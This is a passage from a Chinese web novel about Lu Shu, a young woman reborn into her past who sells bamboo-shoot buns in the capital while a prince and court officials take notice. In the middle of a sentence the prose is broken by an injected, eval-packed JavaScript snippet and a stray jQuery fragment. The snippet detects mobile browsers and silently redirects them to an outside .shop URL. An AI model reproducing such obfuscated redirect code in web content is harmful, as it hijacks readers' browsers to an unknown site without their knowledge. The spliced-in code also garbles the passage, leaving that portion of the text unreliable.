李业喉头动了动,口腔中克制不住的分泌口水,思量片刻,咬牙道:
“来一个!”
张婶这才放松下来,激动地双手接过十文钱,喜笑颜开:“好勒。”
李业拿起包子,慢条斯理地咬了一口,那一瞬间的滋味冲击着味蕾,这也太特别了,从未吃过这般口感的包子,寻常的肉包子里面的肉馅只有肉,而这碎玉包里面脆嫩的食材搭配韧性十足的肉馅简直是神来之笔。
不经意地加快了进食速度,还未细细品味,便已经吃完了。
旁边的人巴巴地看着他:“味道如何?”
李业细细回味:“馅料酥酥脆脆的是什么食材,口感怎的如此特别?”
月书拿起一个碎玉包掰开,将包子内里的馅料展示:
“那脆嫩的便是新鲜采摘的竹笋,竹笋是南朝特有的一种食材,不仅口感脆嫩,还有开胃健脾的功效,吃多了还不胖!客官何不外带几个与家人同食?”
李业好奇道:“掌柜这包子是你做的吗?”
“是,客官可还满意?”
李业不自觉地点点头,原本还心疼这十文钱,吃完一个居然这么好吃,能做出这么好吃的包子,定是位肚皮溜圆的中年厨子,亦或是位胖乎乎的厨娘。
谁成想竟是一个娇滴滴的小娘子,声音悦耳,一双小鹿眼极其灵动,脸上挂着爽朗的笑容令人记忆深刻,看着年纪约莫十四五岁。
再看她手中的碎玉包子,包子中的鲜香脆爽的馅料如碎玉一般,能想出这般雅致的名字,怎可能是个俗人呢。
一直探头张望,穿着偏小一号的粉色水袖衫的妇人不屑道:“竹笋能吃?这东西麻得很,也就是南方的几个小地方才会吃的东西。”
月书也不恼,开门做生意总会遇到一些质疑声,她笑盈盈道:“一看姐姐就是行家,这竹笋啊经过特殊的处理能够完全去除麻口。”
转头问李业:“客官可有尝出麻涩之味?”
李业摇摇头,好吃的紧:“这竹笋真是特别,再来三个,外带。”说着从荷包里拿了银钱递给月书。
张婶这次笑得更加真诚了:“好,好!”将包子放入油纸包递给了他。
周围的百姓见这人一下子又买了三个,十文钱也不是出不起,这可是京城最繁华的朱雀街,无论是去各个衙门,还是通往那座金碧辉煌的宫殿都是必经之路。能住在这里的百姓,非富即贵。
原本看热闹的食客们,一哄而上。
“我要一个。”
“我要两个。”
“我也来一个。”
月书边打包,边招呼食客,突然脚边有什么东西在蹭她,低头一看,毛绒绒的猫脸望着她。
她笑了笑,趁着打包的间隙,递了一只包子给它。
肥猫嘴里叼着碎玉包,跑进院子,又从墙头飞跃而下。
男子漫不经心地瞟了一眼:“吃什么?”
石甲看了眼金奴嘴里叼的包子,又看了看手中的纸包:
“回主子,是隔壁食肆的碎玉包,一大早便听见她们吆喝了。属下也买了几个,您尝尝?”
他鼻尖闻到了一丝清香,看向金奴正啃咬着包子:“碎玉包?”这名字还挺雅致。
石甲将听来的告诉他:“是,掌柜的是个年轻的漂亮小娘子,叫月书,内馅用鲜嫩的竹笋做的,脆脆的口感似碎玉,遂起了此名。”
男子眼神落到了院墙边那一丛竹林,几颗嫩芽正欲破土而出,他若有所思,眼中的笑意一闪而过。
他刚刚拿起包子,在手中端详片刻,见包子的褶子捏得纹路大小均匀,是个厨艺不错的人做的。顺势将包子送入口中,一道胖乎乎的影子从他面前闪过,肥胖且灵巧的爪子一掏,一只包子就出现在它嘴边。
它跳跃几步,便蹲在围墙上面,享受着美食,看都不看主人一眼。
他余光瞟见桌上的另一只包子,心想:“还算有良心,还知道给本王留一个。”
包子刚刚贴近嘴边咬了一口,金奴的肥手再次出现,飞快地捞走翻过了墙去。
他咀嚼着口中的包子,眼底露出了惊艳之色,看了眼金奴逃跑的方向,慢条斯理地用帕子擦了擦手:“案子查得如何了?”
石甲问道:
“已经有些眉目了,似是药王谷的手笔。主子这不是交给大理寺了吗?您查这个做什么?”
“药王谷?盘踞南朝的一门派,来大丰必有其目的,而且被杀的均是年轻的少女。”他执笔写了一份信,递给石甲:“交给禹城的抚院,让他查一下。”
“另外。”他看着金奴消失的方向,:“本王记得二皇子的未婚妻也叫月书。”
“属下这就去查!”石甲一惊,领命退下。
“哗啦啦。”
月书送走了最后几位食客,与张婶一起数着桌上的铜板笑眯眯抬头:“小姐,月记好久没有一次赚这么多银子了。”
月书将铜板全部推给了张婶:“你去给生哥儿买几件好衣裳。”
张婶连忙推回:“男孩儿皮实,没得把好衣服糟蹋了。”
“月家有钱,您不必如此拮据,况且我还能养不起您和生哥儿吗?”她又从袖中取出了几片金叶子递给张婶。
张婶推托:“小姐偷偷跑出来,以后要用钱的地方不少,这金叶子老身不能收。”
月书起身朝外边走,边走边说:
“早上听客人说西市有南朝商人贩卖一些可食用的香料,你去买一些来,这一贯钱您先拿去,生哥儿也是月记的门面,可不能太寒碜了。”
“小姐。”张婶眼眶发热,眼底有一层薄雾。
看着张婶两鬓斑白,她内中满是愧疚:“若不是因为我,生哥儿父母也不会…”
张婶眼神决绝:“小姐说的哪里的话,保护小姐本就是我们的职责,当年若不是小姐我们一家早就被流寇杀了,哪还有生哥儿。”
“够了,无论如何,只要你们好好活着,就是对我最好的报答!我不需要你们的保护!”月书情绪突然失控。
张婶一时怔在了原地。
月书片刻后道:“去买香料吧,我想一个人静静。”
张婶点头,随后退出了房间,关上了房门。
昨夜她依旧没有睡好,那个噩梦一直缠着她。纵使已经回到了数年前,她还是躺在摇椅上,闭目养神。
枝条间竹叶交织,阳光从空隙中穿过窗棂,照在她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681322|207703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
半张白皙的脸上,呼吸变得粗重。
她又做梦了,梦见月家尽输家财之半,以佐军需。
梦见了大红花轿前站着一个谪仙般的少年郎。
梦见了自己手中沾满了鲜血,染红了双眼。
她捂着肚子,她真的好痛,锥心之痛,是她害了月家,害了师傅,害了腹中的孩儿。
月书整个人不住的发抖,浑身冒着冷汗,好冷,她好冷,一股暖意袭来。
她睁开眼,一张毛毯盖在了她的身上,张婶一脸慈爱道:
“小姐,又做噩梦了?”
月书望着窗外,长长叹了一声:“张婶,我做了一个很长很长的梦。”
“梦里我嫁给了二皇子,但是换来的却是遍地鲜血,连你和生哥儿都…”
张婶脸色一白,心也是砰砰直跳,忙安慰道:“小姐,这只是梦,梦里的事是相反的当不得真。”
当不得真吗?她亲身经历的十年,怎么可能会是假的呢?
月书握着张婶的手,手掌微颤:“张婶,您一定要记住,如果遇到麻烦,一定一定要先保全自己。”
张婶见她情绪紧张,心道小姐作为月家的下一任家主,从小承担了太多,不可随心所欲地活着,她心疼这个自己从小带大的孩子。
伸手将她揽在怀里,手掌轻轻地拍打她的后背:“不怕,囡囡不怕。”
粗糙的双手满是老茧,却令她感到异常心安。
月书的眼角一滴泪滴落,打湿了张婶的颈窝,她笑了,能回来可真好啊。
她在地狱爬了整整十年,回到了十五岁这年。
她厌倦了尔虞我诈,厌倦了权力斗争。
只想安稳度日,如她少时所想一般,开一家小小的食肆,三餐四季,家人皆安好,知足常乐。
与此同时,大理寺的值班室中。
“我的碎玉包!”
“李业。你叫什么呀!”同为五品司正的张辽皱眉捂着耳朵。
李业刚放下朝食便去做事,待回来,发现放在桌上的碎玉包不见了,冷脸道:“我早上买的碎玉包!谁吃了!”
他本打算送给王大人,自己没什么银钱,只能投其所好——王大人爱美食是人人皆知的。
冯六问:“什么碎玉包?”
李业虽然心急,但也冷静下来,解释道:
“今日朱雀街买的包子,用竹笋与猪肉做的,极好吃!”
众人恍然,原是被拿了朝食,你看看我,我看看你,都表示没拿过。
冯六转头,嘴角一瞥:“不过是个包子,又不是什么龙肝凤髓,做什么疯样。”
李业瞬间红了脸:“你不懂,那包子,肉馅脆嫩无比,是世界上最好吃的包子!”
冯六眼皮都不抬,连连点头:“是是是,真是乡下人,没吃过细糠!”
一股不怒自威的气场降临,众人打眼看向门口,屋内骤然间鸦雀无声、慌忙跪拜。
“王大人。”
一个身穿绯衣的五十岁左右的男子,清了清嗓子。
“咳咳。”
“嗯,都起来吧。”他威严的声音响起,又看了眼李业:“这包子名字倒是雅致,哪家铺子?”